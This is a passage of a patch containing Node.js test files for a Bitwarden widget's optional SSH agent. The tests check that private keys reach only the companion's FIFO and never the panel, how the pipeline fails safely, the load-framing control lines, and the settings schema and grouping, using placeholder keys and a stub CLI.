const PRIVATE_MARKER = "SSH_PRIVATE_MARKER_must_not_reach_QML"
const REPROMPT_MARKER = "REPROMPT_PRIVATE_MARKER_must_not_reach_the_agent"
const LOAD_ID = "0123456789abcdef0123456789abcdef"
const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), "qsbw-pipeline-"))
const fixturePath = path.join(tempDir, "items.json")
const runtimeDir = path.join(tempDir, "run")
fs.mkdirSync(runtimeDir, { mode: 0o700 })
fs.mkdirSync(path.join(runtimeDir, "qs-bitwarden-cli"), { mode: 0o700 })
const fifoPath = Model.sshAgentFifoPath(runtimeDir)
fs.writeFileSync(path.join(tempDir, "bw"), [
"#!/usr/bin/env bash",
'if [ "$1" = "--version" ]; then printf "%s\\n" "${QSBW_BW_VERSION:-2026.2.0}"; exit 0; fi',
'cat -- "$QSBW_FIXTURE"',
'exit "${QSBW_BW_EXIT:-0}"',
""
].join("\n"), { mode: 0o755 })
const baseEnv = () => Object.assign({}, process.env, {
PATH: tempDir + path.delimiter + process.env.PATH,
QSBW_FIXTURE: fixturePath,
XDG_RUNTIME_DIR: runtimeDir
})
const privatePem = "-----BEGIN OPENSSH PRIVATE KEY-----\n" + PRIVATE_MARKER + "\n-----END OPENSSH PRIVATE KEY-----"
const repromptPem = "-----BEGIN OPENSSH PRIVATE KEY-----\n" + REPROMPT_MARKER + "\n-----END OPENSSH PRIVATE KEY-----"
const fixture = [
{ object: "item", id: "login-1", type: 1, name: "Login", login: { username: "u", password: "p" } },
{ object: "item", id: "ssh-1", type: 5, name: "Work", favorite: true, reprompt: 0,
sshKey: { privateKey: privatePem, publicKey: "ssh-ed25519 AAAAWORK", fingerprint: "SHA256:work" } },
{ object: "item", id: "ssh-2", type: 5, name: "Guarded", reprompt: 1,
sshKey: { privateKey: repromptPem, publicKey: "ssh-ed25519 AAAAGUARD", fingerprint: "SHA256:guard" } },
{ object: "item", id: "bank-1", type: 6, name: "Bank", bankAccount: { number: "UNKNOWN_TYPE_MARKER" } }
]
// A real reader on the FIFO, held open the way the companion holds it (O_RDWR),
// so the writer never blocks on open and never sees the reader disappear.
function withFifoReader(fn) {
try { fs.unlinkSync(fifoPath) } catch (e) {}
execFileSync("mkfifo", ["-m", "600", fifoPath])
const fd = fs.openSync(fifoPath, fs.constants.O_RDWR | fs.constants.O_NONBLOCK)
try {
const result = fn()
// Drain whatever the branch wrote, without blocking when it wrote nothing.
let out = Buffer.alloc(0)
const buf = Buffer.alloc(1 << 20)
for (;;) {
let n = 0
try { n = fs.readSync(fd, buf, 0, buf.length, null) } catch (e) { break }
if (n <= 0) break
out = Buffer.concat([out, buf.slice(0, n)])
}
return { result, fifo: out.toString("utf8") }
} finally {
fs.closeSync(fd)
try { fs.unlinkSync(fifoPath) } catch (e) {}
}
}
function runPipeline(opts, envOverrides, contents) {
fs.writeFileSync(fixturePath, contents === undefined ? JSON.stringify(fixture) : contents)
const command = Model.sanitizedListCommand(opts)
return spawnSync(command[0], command.slice(1), {
env: Object.assign(baseEnv(), envOverrides || {}),
encoding: "utf8", maxBuffer: 20 * 1024 * 1024
})
}
// -------------------------------------------------------------------------
// The load nonce
// -------------------------------------------------------------------------
eq("the load id env var is named", Model.loadIdEnvVar(), "QSBW_LOAD_ID")
eq("a 128-bit lowercase hex nonce is valid", Model.isValidLoadId(LOAD_ID), true)
eq("a short nonce is refused", Model.isValidLoadId("abc"), false)
eq("an uppercase nonce is refused", Model.isValidLoadId(LOAD_ID.toUpperCase()), false)
eq("a non-hex nonce is refused", Model.isValidLoadId("z".repeat(32)), false)
eq("an empty nonce is refused", Model.isValidLoadId(""), false)
eq("a non-string nonce is refused", Model.isValidLoadId(null), false)
const nonceRun = spawnSync("bash", Model.loadIdCommand().slice(1), { encoding: "utf8" })
const generated = String(nonceRun.stdout || "").trim()
eq("the generator produces a usable nonce", Model.isValidLoadId(generated), true)
const second = String(spawnSync("bash", Model.loadIdCommand().slice(1), { encoding: "utf8" }).stdout || "").trim()
check("two nonces differ", generated !== second, generated + " == " + second)
// The nonce is what stops another same-UID process writing its own key set
// into an open FIFO window. /proc/<pid>/cmdline is world-readable, so it must
// never be an argument.
const agentCommandText = Model.sanitizedListCommand({ agentBranch: true, runtimeDir: runtimeDir }).join(" ")
// The fstat below is the check that decides; this one only keeps a dead
// companion from costing a full decrypt-and-filter pass whose output has
// nowhere to go.
check("a missing FIFO skips the filter rather than running it for nobody",
/if \[ -p "\$__qsbw_fifo" \]; then/.test(agentCommandText),
agentCommandText.slice(0, 500))
check("the FIFO is opened without following a swapped symlink",
agentCommandText.indexOf("O_NOFOLLOW") >= 0, agentCommandText.slice(0, 500))
check("the opened descriptor, not the pathname, is checked as a FIFO",
agentCommandText.indexOf("fstatSync") >= 0 && agentCommandText.indexOf("S_IFIFO") >= 0,
agentCommandText.slice(0, 500))
check("the nonce is read from the environment, never passed in argv",
agentCommandText.indexOf(Model.loadIdEnvVar()) >= 0 && agentCommandText.indexOf(LOAD_ID) < 0,
"nonce appears literally in the command")
// -------------------------------------------------------------------------
// Disabled mode has no private branch at all
// -------------------------------------------------------------------------
const plainText = Model.sanitizedListCommand().join(" ")
check("the default command has no tee branch", plainText.indexOf("tee") < 0, plainText.slice(0, 400))
check("the default command never names the key FIFO",
plainText.indexOf("ssh-keys.fifo") < 0, plainText.slice(0, 400))
check("an explicitly disabled branch is identical to the default",
Model.sanitizedListCommand({ agentBranch: false, runtimeDir: runtimeDir }).join(" ")
=== Model.sanitizedListCommand().join(" "), "disabled form differs from the default")
const disabledRun = withFifoReader(() =>
runPipeline({ agentBranch: false, runtimeDir: runtimeDir }, { [Model.loadIdEnvVar()]: LOAD_ID }))
eq("the disabled pipeline succeeds", disabledRun.result.status, 0)
eq("the disabled pipeline writes nothing to the FIFO", disabledRun.fifo, "")
// -------------------------------------------------------------------------
// Enabled mode: one read, two consumers
// -------------------------------------------------------------------------
const enabled = withFifoReader(() =>
runPipeline({ agentBranch: true, runtimeDir: runtimeDir }, { [Model.loadIdEnvVar()]: LOAD_ID }))
eq("the fan-out pipeline succeeds", enabled.result.status, 0)
const panelOut = JSON.parse(enabled.result.stdout)
check("QML still receives the ordinary items", panelOut.items.length === 1 && panelOut.items[0].id === "login-1",
JSON.stringify(panelOut.items))
eq("QML still receives both public SSH keys", panelOut.sshKeys.length, 2)
check("no private key marker reaches QML", enabled.result.stdout.indexOf(PRIVATE_MARKER) < 0, "leaked")
check("no re-prompt private marker reaches QML", enabled.result.stdout.indexOf(REPROMPT_MARKER) < 0, "leaked")
check("no unknown cipher type reaches QML", enabled.result.stdout.indexOf("UNKNOWN_TYPE_MARKER") < 0, "leaked")
const payload = JSON.parse(enabled.fifo)
eq("the FIFO payload carries the matching nonce", payload.loadId, LOAD_ID)
eq("the FIFO payload carries only eligible keys", payload.items.length, 1)
eq("the eligible key is the non-reprompt one", payload.items[0].itemId, "ssh-1")
eq("the eligible key carries its private material", payload.items[0].privateKey, privatePem)
eq("the eligible key carries its public blob", payload.items[0].publicKey, "ssh-ed25519 AAAAWORK")
eq("the eligible key carries its fingerprint", payload.items[0].fingerprint, "SHA256:work")
eq("the eligible key is not marked re-prompt", payload.items[0].requiresReprompt, false)
// Re-prompt private keys never leave the jq stage, so the companion is never
// asked to hold one -- its own skip rule is the second line, not the first.
check("no re-prompt private key reaches the FIFO", enabled.fifo.indexOf(REPROMPT_MARKER) < 0, "leaked")
check("no ordinary item reaches the FIFO", enabled.fifo.indexOf("login-1") < 0, "leaked")
check("no unknown cipher type reaches the FIFO", enabled.fifo.indexOf("UNKNOWN_TYPE_MARKER") < 0, "leaked")
// The companion decodes with serde `deny_unknown_fields`, so the projection
// has to be exactly the agreed shape or every load fails closed.
eq("the envelope has exactly loadId and items",
Object.keys(payload).sort().join(","), "items,loadId")
eq("each item has exactly the agreed fields",
Object.keys(payload.items[0]).sort().join(","),
"fingerprint,itemId,name,privateKey,publicKey,requiresReprompt")
// -------------------------------------------------------------------------
// The optional branch can never break the ordinary list
// -------------------------------------------------------------------------
// No FIFO at all: the helper never started, or cleaned up on the way out.
{
try { fs.unlinkSync(fifoPath) } catch (e) {}
const run = runPipeline({ agentBranch: true, runtimeDir: runtimeDir }, { [Model.loadIdEnvVar()]: LOAD_ID })
eq("a missing FIFO still loads the item list", run.status, 0)
check("a missing FIFO still produces the full envelope",
JSON.parse(run.stdout).sshKeys.length === 2, run.stdout.slice(0, 200))
check("a missing FIFO is not created as a regular file", !fs.existsSync(fifoPath),
"the branch created something at the FIFO path")
}
// A regular file squatting on the FIFO path is never written through.
{
fs.writeFileSync(fifoPath, "not a fifo\n")
const run = runPipeline({ agentBranch: true, runtimeDir: runtimeDir }, { [Model.loadIdEnvVar()]: LOAD_ID })
eq("a squatted FIFO path still loads the item list", run.status, 0)
eq("the squatting file is untouched", fs.readFileSync(fifoPath, "utf8"), "not a fifo\n")
check("no private key was written to the squatting file",
fs.readFileSync(fifoPath, "utf8").indexOf(PRIVATE_MARKER) < 0, "leaked")
fs.unlinkSync(fifoPath)
}
// A FIFO nobody drains. The branch opens O_RDWR so it never blocks on open,
// and the payload here fits the pipe buffer, so the list is unaffected.
{
execFileSync("mkfifo", ["-m", "600", fifoPath])
const run = runPipeline({ agentBranch: true, runtimeDir: runtimeDir }, { [Model.loadIdEnvVar()]: LOAD_ID })
eq("an undrained FIFO still loads the item list", run.status, 0)
check("an undrained FIFO still produces the full envelope",
JSON.parse(run.stdout).sshKeys.length === 2, run.stdout.slice(0, 200))
fs.unlinkSync(fifoPath)
}
// A missing nonce must not produce a payload the companion would accept.
{
const run = withFifoReader(() =>
runPipeline({ agentBranch: true, runtimeDir: runtimeDir }, { [Model.loadIdEnvVar()]: "" }))
eq("a missing nonce still loads the item list", run.result.status, 0)
check("a missing nonce never yields a usable payload",
run.fifo === "" || !Model.isValidLoadId((JSON.parse(run.fifo || "{}").loadId) || ""),
run.fifo.slice(0, 200))
}
// -------------------------------------------------------------------------
// Whole-pipeline failures publish no partial private set
// -------------------------------------------------------------------------
// Input the filters reject: the branch cannot even construct a payload, so
// nothing usable reaches the FIFO in the first place.
for (const [label, contents] of [
["malformed JSON", "{ this is not json"],
["a truncated array", '[{"object":"item","id":"a","type":1,'],
["a non-array document", '{"items":[]}']
]) {
const run = withFifoReader(() =>
runPipeline({ agentBranch: true, runtimeDir: runtimeDir },
{ [Model.loadIdEnvVar()]: LOAD_ID }, contents))
check(`${label} fails the whole read`, run.result.status !== 0, `status ${run.result.status}`)
check(`${label} produces no item list`, run.result.stdout.trim() === "", run.result.stdout.slice(0, 200))
check(`${label} publishes no private key`, run.fifo.indexOf(PRIVATE_MARKER) < 0, "leaked")
check(`${label} publishes no complete payload`, (() => {
if (run.fifo.trim() === "") return true
try { JSON.parse(run.fifo); return false } catch (e) { return true }
})(), run.fifo.slice(0, 200))
}
// A `bw` that streams a complete, valid document and *then* exits nonzero is
// a different shape of failure: the branch has already forwarded well-formed
// bytes by the time the exit status exists, and no in-stream check could have
// known. The FIFO is deliberately not the boundary here -- `key_load_end` is.
// The companion holds every candidate unpublished until that line arrives, and
// discards it on `failed`, so what matters is that the panel reports failure.
{
const run = withFifoReader(() =>
runPipeline({ agentBranch: true, runtimeDir: runtimeDir },
{ [Model.loadIdEnvVar()]: LOAD_ID, QSBW_BW_EXIT: "1" }, JSON.stringify(fixture)))
check("a failing bw fails the whole read", run.result.status !== 0, `status ${run.result.status}`)
check("a failing bw produces no item list", run.result.stdout.trim() === "", run.result.stdout.slice(0, 200))
eq("a failed read is framed as a failed load", Model.sshAgentLoadEndLine(7, false),
JSON.stringify({ v: 1, type: "key_load_end", epoch: 7, status: "failed" }) + "\n")
const panelSrc = fs.readFileSync(path.join(repoRoot, "Panel.qml"), "utf8")
check("the panel closes every load window with the read's real outcome",
/endSshAgentLoad\(exitCode === 0\)/.test(panelSrc), "the exit handler does not close the load window")
check("the panel closes the window on paths that abandon a load",
/endSshAgentLoad\(false\)/.test(panelSrc), "no path reports a failed load")
check("closing the window writes the versioned key_load_end line",
/sshAgentProc\.write\(Model\.sshAgentLoadEndLine\(/.test(panelSrc),
"key_load_end is never sent to the helper")
// The cancel itself lives in the lock transition (see
// tests/ssh-agent-lifecycle.test.js); what matters here is that locking
// goes through it rather than leaving a fan-out read running.
check("a lock abandons the in-flight load",
/function lockVault\(\)[\s\S]{0,600}?applySshAgentLifecycle\("lock"\)/.test(panelSrc)
&& /function applySshAgentLifecycle\(event\)[\s\S]{0,900}?action\.cancelLoad\) cancelSshAgentLoad\(\)/.test(panelSrc),
"locking does not cancel the in-flight load")
check("a failed fan-out read is retried once without the branch",
/listRetriedWithoutAgent = true[\s\S]{0,200}?startVaultListRead\(true\)/.test(panelSrc),
"no retry without the agent branch")
}
// An ordinary item carrying an SSH subtree still rejects the whole read, with
// the agent branch present as well as without it.
{
const crossed = [{ object: "item", id: "x", type: 1, name: "Crossed",
login: { username: "u" }, sshKey: { privateKey: privatePem } }]
const run = withFifoReader(() =>
runPipeline({ agentBranch: true, runtimeDir: runtimeDir },
{ [Model.loadIdEnvVar()]: LOAD_ID }, JSON.stringify(crossed)))
check("a cross-typed item rejects the whole read", run.result.status !== 0, `status ${run.result.status}`)
check("a cross-typed item leaks no private key to QML",
run.result.stdout.indexOf(PRIVATE_MARKER) < 0, "leaked")
check("a cross-typed item leaks no private key to the FIFO",
run.fifo.indexOf(PRIVATE_MARKER) < 0, "leaked")
}
// -------------------------------------------------------------------------
// Lock has to be able to stop the whole group
// -------------------------------------------------------------------------
check("the fan-out pipeline runs under process-group supervision",
agentCommandText.indexOf("set -m") >= 0 && agentCommandText.indexOf("kill -TERM") >= 0,
agentCommandText.slice(0, 300))
// -------------------------------------------------------------------------
// Control lines that frame a load
// -------------------------------------------------------------------------
eq("key_load_begin is a versioned v1 line", Model.sshAgentLoadBeginLine(7, LOAD_ID),
JSON.stringify({ v: 1, type: "key_load_begin", epoch: 7, loadId: LOAD_ID }) + "\n")
eq("key_load_end reports success", Model.sshAgentLoadEndLine(7, true),
JSON.stringify({ v: 1, type: "key_load_end", epoch: 7, status: "ok" }) + "\n")
eq("key_load_end reports failure", Model.sshAgentLoadEndLine(7, false),
JSON.stringify({ v: 1, type: "key_load_end", epoch: 7, status: "failed" }) + "\n")
eq("vault_locked is a versioned v1 line", Model.sshAgentVaultLockedLine(7),
JSON.stringify({ v: 1, type: "vault_locked", epoch: 7 }) + "\n")
eq("vault_logged_out is a versioned v1 line", Model.sshAgentLoggedOutLine(),
JSON.stringify({ v: 1, type: "vault_logged_out" }) + "\n")
eq("an invalid nonce yields no begin line", Model.sshAgentLoadBeginLine(7, "nope"), "")
// No control line may ever carry key material or a session token.
for (const line of [Model.sshAgentLoadBeginLine(7, LOAD_ID), Model.sshAgentLoadEndLine(7, true),
Model.sshAgentVaultLockedLine(7), Model.sshAgentLoggedOutLine()]) {
check("no control line carries private material",
line.indexOf(PRIVATE_MARKER) < 0 && line.indexOf("BW_SESSION") < 0 && line.indexOf("privateKey") < 0, line)
}
// -------------------------------------------------------------------------
// The whole data plane, end to end
// -------------------------------------------------------------------------
//
// Everything above tests one boundary at a time. This runs the real thing:
// the real pipeline writes to the real companion's FIFO, the companion
// validates and publishes, and the real OpenSSH client lists the key back.
// It is the only test that would catch the projection and the decoder
// disagreeing about a field name, because both sides are real here.
const helperBin = path.join(repoRoot, "agent", "target", "debug", "qs-bitwarden-ssh-agent")
function endToEnd(done) {
if (!fs.existsSync(helperBin) || !fs.existsSync("/usr/bin/ssh-keygen")) {
failures.push("the end-to-end check needs the built helper and /usr/bin/ssh-keygen\n "
+ "build it with: cargo build --manifest-path agent/Cargo.toml --locked")
return done()
}
const e2eDir = fs.mkdtempSync(path.join(os.tmpdir(), "qsbw-e2e-"))
const e2eRuntime = path.join(e2eDir, "run")
fs.mkdirSync(e2eRuntime, { mode: 0o700 })
const e2eLoadId = "aaaabbbbccccddddeeeeffff00001111"
// A disposable key that exists only for the life of this test.
const keyPath = path.join(e2eDir, "id_ed25519")
execFileSync("/usr/bin/ssh-keygen", ["-q", "-t", "ed25519", "-N", "", "-C", "e2e", "-f", keyPath])
const priv = fs.readFileSync(keyPath, "utf8")
const pub = fs.readFileSync(keyPath + ".pub", "utf8").trim()
const fingerprint = execFileSync("/usr/bin/ssh-keygen", ["-lf", keyPath + ".pub"],
{ encoding: "utf8" }).split(" ")[1]
const e2eFixture = path.join(e2eDir, "items.json")
fs.writeFileSync(e2eFixture, JSON.stringify([
{ object: "item", id: "login-1", type: 1, name: "Login", login: { username: "u" } },
{ object: "item", id: "ssh-1", type: 5, name: "Disposable", reprompt: 0,
sshKey: { privateKey: priv, publicKey: pub, fingerprint: fingerprint } }
]))
fs.writeFileSync(path.join(e2eDir, "bw"), [
"#!/usr/bin/env bash",
'if [ "$1" = "--version" ]; then echo 2026.2.0; exit 0; fi',
'cat -- "$QSBW_FIXTURE"', ""
].join("\n"), { mode: 0o755 })
const { spawn } = require("child_process")
const helper = spawn(helperBin, [], { env: { XDG_RUNTIME_DIR: e2eRuntime }, stdio: ["pipe", "pipe", "pipe"] })
let buffered = ""
let socketPath = ""
let settled = false
const finish = () => {
if (settled) return
settled = true
clearTimeout(guard)
try { helper.kill("SIGKILL") } catch (e) {}
try { fs.rmSync(e2eDir, { recursive: true, force: true }) } catch (e) {}
done()
}
const guard = setTimeout(() => {
failures.push("the end-to-end load timed out\n the companion never reported keys_loaded")
finish()
}, 30000)
helper.stdin.write(Model.sshAgentHelloLine())
helper.stdout.on("data", chunk => {
buffered += chunk.toString("utf8")
let nl
while ((nl = buffered.indexOf("\n")) >= 0) {
const line = buffered.slice(0, nl)
buffered = buffered.slice(nl + 1)
let message
try { message = JSON.parse(line) } catch (e) {
failures.push("the companion emitted an unparseable line\n " + line)
return finish()
}
if (message.type === "ready") {
socketPath = message.socketPath
// Arm the window before anything can write to the FIFO.
helper.stdin.write(Model.sshAgentLoadBeginLine(1, e2eLoadId))
const command = Model.sanitizedListCommand({ agentBranch: true })
const run = spawnSync(command[0], command.slice(1), {
env: { PATH: e2eDir + path.delimiter + process.env.PATH, QSBW_FIXTURE: e2eFixture,
XDG_RUNTIME_DIR: e2eRuntime, [Model.loadIdEnvVar()]: e2eLoadId },
encoding: "utf8", maxBuffer: 20 * 1024 * 1024
})
eq("the end-to-end pipeline succeeds", run.status, 0)
check("the end-to-end read still renders the panel envelope",
run.status === 0 && JSON.parse(run.stdout).sshKeys.length === 1, String(run.stdout).slice(0, 200))
check("no private key reaches QML in the end-to-end read",
String(run.stdout).indexOf("PRIVATE KEY") < 0, "leaked")
if (run.status !== 0) return finish()
helper.stdin.write(Model.sshAgentLoadEndLine(1, true))
}
if (message.type === "keys_loaded") {
eq("the companion published exactly the eligible key", message.keyCount, 1)
eq("the companion published it for the load's epoch", message.epoch, 1)
const listed = spawnSync("/usr/bin/ssh-add", ["-L"], {
env: { SSH_AUTH_SOCK: socketPath, PATH: "/usr/bin", HOME: os.homedir() }, encoding: "utf8"
})
eq("a real OpenSSH client lists the loaded identity", listed.status, 0)
eq("the agent offers exactly the key the vault held",
String(listed.stdout).trim().split(" ").slice(0, 2).join(" "),
pub.split(" ").slice(0, 2).join(" "))
return finish()
}
}
})
helper.on("error", () => {
failures.push("the companion could not be started\n " + helperBin)
finish()
})
helper.on("exit", code => {
if (settled) return
failures.push("the companion exited before publishing\n exit " + code)
finish()
})
}
endToEnd(() => {
try { fs.rmSync(tempDir, { recursive: true, force: true }) } catch (e) {}
if (failures.length) {
console.error(`\n${failures.length} failed, ${pass} passed\n`)
failures.forEach(f => console.error(` FAIL ${f}`))
process.exit(1)
}
console.log(`ssh-agent-pipeline: ${pass} passed`)
})
@@ -0,0 +1,467 @@
#!/usr/bin/env node
// The SSH agent is opt-in, and "opted in" is not the same as "usable". These
// tests cover the four settings, the explicit disabled/enabled/error setup
// state, the managed UWSM fragment lifecycle, and the advisory SSH_AUTH_SOCK
// diagnostics -- which must never decide whether the companion runs.
//
// node tests/ssh-agent-setup.test.js
const fs = require("fs")
const path = require("path")
const repoRoot = path.join(__dirname, "..")
const Model = {}
new Function("exports", fs.readFileSync(path.join(repoRoot, "BitwardenModel.js"), "utf8")
.replace(/^\.pragma library\s*$/m, "") + `
exports.SETTINGS_SCHEMA = SETTINGS_SCHEMA
exports.SETTINGS_GROUPS = SETTINGS_GROUPS
exports.groupedSettings = groupedSettings
exports.settingSchemaEntry = settingSchemaEntry
exports.boolSetting = boolSetting
exports.intSetting = intSetting
exports.sshAgentSetupState = sshAgentSetupState
exports.sshAgentApprovalWindowMax = sshAgentApprovalWindowMax
exports.visibleSettings = visibleSettings
exports.sshUiAvailable = sshUiAvailable
exports.sshAgentSocketPath = sshAgentSocketPath
exports.uwsmFragmentDisplayPath = uwsmFragmentDisplayPath
exports.uwsmFragmentContent = uwsmFragmentContent
exports.uwsmInspectCommand = uwsmInspectCommand
exports.uwsmWriteCommand = uwsmWriteCommand
exports.uwsmRemoveCommand = uwsmRemoveCommand
exports.parseUwsmInspection = parseUwsmInspection
exports.parseUwsmActionResult = parseUwsmActionResult
exports.sshAuthSockDiagnostic = sshAuthSockDiagnostic
exports.sshAuthSockTerminalCheck = sshAuthSockTerminalCheck
`)(Model)
let pass = 0
const failures = []
const check = (label, ok, detail) => ok ? pass++ : failures.push(`${label}\n ${detail}`)
const eq = (label, actual, expected) =>
check(label, actual === expected, `expected ${JSON.stringify(expected)}, got ${JSON.stringify(actual)}`)
const manifest = JSON.parse(fs.readFileSync(path.join(repoRoot, "manifest.json"), "utf8"))
const manifestSchema = manifest.barWidget.schema
const manifestDefaults = manifest.barWidget.defaults
const manifestEntry = key => manifestSchema.find(e => e.key === key)
const modelEntry = key => Model.settingSchemaEntry(key)
// -------------------------------------------------------------------------
// The four settings, consistent across manifest, model schema and defaults
// -------------------------------------------------------------------------
const expected = [
{ key: "sshAgentEnabled", type: "bool", manifestType: "boolean", defaultValue: false },
{ key: "sshAgentUnlockOnDemand", type: "bool", manifestType: "boolean", defaultValue: false },
{ key: "sshAgentApprovalPopup", type: "bool", manifestType: "boolean", defaultValue: true },
{ key: "sshAgentApprovalWindowSec", type: "int", manifestType: "integer", defaultValue: 120 }
]
for (const want of expected) {
const m = manifestEntry(want.key)
const s = modelEntry(want.key)
check(`manifest declares ${want.key}`, !!m, "missing from manifest.barWidget.schema")
check(`model schema declares ${want.key}`, !!s, "missing from SETTINGS_SCHEMA")
if (!m || !s) continue
eq(`${want.key} manifest type`, m.type, want.manifestType)
eq(`${want.key} model type`, s.type, want.type)
eq(`${want.key} manifest default`, m.defaultValue, want.defaultValue)
eq(`${want.key} model default`, s.defaultValue, want.defaultValue)
eq(`${want.key} defaults block`, manifestDefaults[want.key], want.defaultValue)
check(`${want.key} has a description in the manifest`,
typeof m.description === "string" && m.description.length > 0, JSON.stringify(m))
check(`${want.key} has a description in the model schema`,
typeof s.description === "string" && s.description.length > 0, JSON.stringify(s))
}
// The window is a bounded grant length, and the bound is the design's, not a
// number the settings screen happens to draw.
const windowManifest = manifestEntry("sshAgentApprovalWindowSec")
const windowModel = modelEntry("sshAgentApprovalWindowSec")
eq("approval window minimum is 0", windowModel && windowModel.min, 0)
eq("approval window maximum is 900", windowModel && windowModel.max, Model.sshAgentApprovalWindowMax())
eq("approval window maximum is the documented cap", Model.sshAgentApprovalWindowMax(), 900)
eq("manifest agrees on the window minimum", windowManifest && windowManifest.min, 0)
eq("manifest agrees on the window maximum", windowManifest && windowManifest.max, 900)
check("the approval window says what 0 means",
windowModel && typeof windowModel.zeroLabel === "string" && windowModel.zeroLabel.length > 0,
JSON.stringify(windowModel))
// -------------------------------------------------------------------------
// Reading the settings back
// -------------------------------------------------------------------------
eq("the agent is off when the setting is absent", Model.boolSetting("sshAgentEnabled", undefined), false)
eq("the agent is off when shell.json holds junk", Model.boolSetting("sshAgentEnabled", "yes please"), false)
eq("the agent is on only for a real boolean", Model.boolSetting("sshAgentEnabled", true), true)
eq("unlock-on-demand is off by default", Model.boolSetting("sshAgentUnlockOnDemand", undefined), false)
eq("the centered approval popup is on by default", Model.boolSetting("sshAgentApprovalPopup", undefined), true)
eq("the centered approval popup accepts false", Model.boolSetting("sshAgentApprovalPopup", false), false)
eq("the centered approval popup rejects junk", Model.boolSetting("sshAgentApprovalPopup", "yes"), true)
eq("the approval window defaults to 120", Model.intSetting("sshAgentApprovalWindowSec", undefined), 120)
eq("the approval window keeps a valid value", Model.intSetting("sshAgentApprovalWindowSec", 300), 300)
eq("the approval window clamps above the cap", Model.intSetting("sshAgentApprovalWindowSec", 99999), 900)
eq("0 disables grants rather than reading as unset", Model.intSetting("sshAgentApprovalWindowSec", 0), 0)
eq("a negative window falls back to the default", Model.intSetting("sshAgentApprovalWindowSec", -30), 120)
eq("a non-numeric window falls back to the default", Model.intSetting("sshAgentApprovalWindowSec", "soon"), 120)
// -------------------------------------------------------------------------
// The SSH Agent settings group
// -------------------------------------------------------------------------
const sshGroup = Model.SETTINGS_GROUPS.find(g => g.id === "sshAgent")
check("there is an SSH Agent settings group", !!sshGroup, JSON.stringify(Model.SETTINGS_GROUPS))
const grouped = Model.groupedSettings()
eq("grouping still covers every schema entry", grouped.length, Model.SETTINGS_SCHEMA.length)
const sshRows = grouped.filter(e => e.group === "sshAgent")
eq("the SSH Agent group holds exactly the four settings", sshRows.length, 4)
eq("the group header is drawn once", sshRows.filter(e => e.groupLabel).length, 1)
eq("the enabled toggle leads the group", sshRows[0].key, "sshAgentEnabled")
check("grouping did not mutate the schema",
Model.SETTINGS_SCHEMA.every(e => e.groupLabel === undefined), "schema was mutated")
// The SSH settings are only offered once the dependency probe has confirmed a
// CLI that can decrypt SSH key items -- the same gate the SSH type filter
// uses. Offering a toggle that cannot work is worse than not offering it.
const supportedDeps = { items: [], sshCliStatus: "supported" }
const oldDeps = { items: [], sshCliStatus: "unsupported" }
const unknownDeps = { items: [], sshCliStatus: "unknown" }
const shown = Model.visibleSettings(supportedDeps, true)
eq("a supported CLI shows every setting",
shown.filter(e => e.kind === "setting").length, Model.SETTINGS_SCHEMA.length)
check("a supported CLI shows the SSH group header",
shown.filter(e => e.kind === "group" && e.group === "sshAgent").length === 1, "no header")
for (const [label, deps, checked] of [
["an unsupported CLI", oldDeps, true],
["an unreadable CLI version", unknownDeps, true],
["an unfinished probe", supportedDeps, false]
]) {
// Nothing collapsed, so every remaining setting is present as a row. The
// list also carries one heading row per group now, which is what makes a
// group foldable; the guarantee being checked is unchanged -- a hidden
// group takes its heading with it, and each group that remains gets
// exactly one.
const rows = Model.visibleSettings(deps, checked)
const settings = rows.filter(e => e.kind === "setting")
const headers = rows.filter(e => e.kind === "group")
eq(`${label} hides the SSH settings`, rows.filter(e => e.group === "sshAgent").length, 0)
eq(`${label} keeps every other setting`, settings.length, Model.SETTINGS_SCHEMA.length - 4)
check(`${label} still draws every remaining group header`,
headers.length === new Set(settings.map(e => e.group)).size,
JSON.stringify(headers.map(e => e.label)))
check(`${label} draws no heading for a group it hid`,
headers.every(h => h.group !== "sshAgent"),
JSON.stringify(headers.map(e => e.group)))
}
check("hiding the group does not mutate the schema",
Model.SETTINGS_SCHEMA.every(e => e.groupLabel === undefined && e.kind === undefined),
"schema was mutated")
// --- every section is drawn, always -----------------------------------------
//
// The settings screen had collapsible sections for a while. They went: three
// groups of three, seven and four rows do not need folding, and a fold is one
// more state to be in and one more thing to leave shut by accident.
const allRows = Model.visibleSettings(supportedDeps, true)
check("every setting in the schema is drawn",
allRows.filter(e => e.kind === "setting").length === Model.SETTINGS_SCHEMA.length,
`${allRows.filter(e => e.kind === "setting").length} of ${Model.SETTINGS_SCHEMA.length}`)
check("each group is headed exactly once",
allRows.filter(e => e.kind === "group").length
=== new Set(allRows.filter(e => e.kind === "setting").map(e => e.group)).size,
JSON.stringify(allRows.filter(e => e.kind === "group").map(e => e.label)))
check("a heading comes before the settings it heads",
(() => {
let seen = null
return allRows.every(e => {
if (e.kind === "group") { seen = e.group; return true }
return e.group === seen
})
})(), JSON.stringify(allRows.map(e => e.kind === "group" ? `[${e.group}]` : e.group)))
check("groups appear in the order the group list declares",
JSON.stringify(allRows.filter(e => e.kind === "group").map(e => e.group))
=== JSON.stringify(Model.SETTINGS_GROUPS.map(g => g.id)),
JSON.stringify(allRows.filter(e => e.kind === "group").map(e => e.group)))
// --- the status block belongs to its own section ----------------------------
//
// The SSH agent's status and routing block used to be drawn after all four
// setting groups. That was survivable while nothing folded; with folding it
// would leave a collapsed SSH Agent section with its status still on screen,
// attached to nothing above it.
check("each group's last setting is marked, so a section can extend itself",
(() => {
const rows = Model.visibleSettings(supportedDeps, true)
const settings = rows.filter(e => e.kind === "setting")
const groups = [...new Set(settings.map(e => e.group))]
return groups.every(g => settings.filter(e => e.group === g && e.lastInGroup).length === 1)
})(),
JSON.stringify(Model.visibleSettings(supportedDeps, true)
.filter(e => e.lastInGroup).map(e => `${e.group}:${e.key}`)))
check("the mark lands on the final setting of the group, not an earlier one",
(() => {
const settings = Model.visibleSettings(supportedDeps, true).filter(e => e.kind === "setting")
const last = settings.filter(e => e.group === "sshAgent").pop()
return last.lastInGroup === true
})(), "the SSH group's last row is not marked")
const panelSrc = require("fs").readFileSync(
require("path").join(__dirname, "..", "Panel.qml"), "utf8")
check("the SSH block is drawn inside the group rather than after every group",
/active: !isGroup && modelData\.group === "sshAgent"\s*\n\s*&& modelData\.lastInGroup === true/.test(panelSrc)
&& (panelSrc.match(/SshAgentSettings \{ panel: root \}/g) || []).length === 1,
"expected exactly one SshAgentSettings, loaded off the group's last row")
// -------------------------------------------------------------------------
// Disabled / enabled / error setup state
// -------------------------------------------------------------------------
const state = opts => Model.sshAgentSetupState(opts)
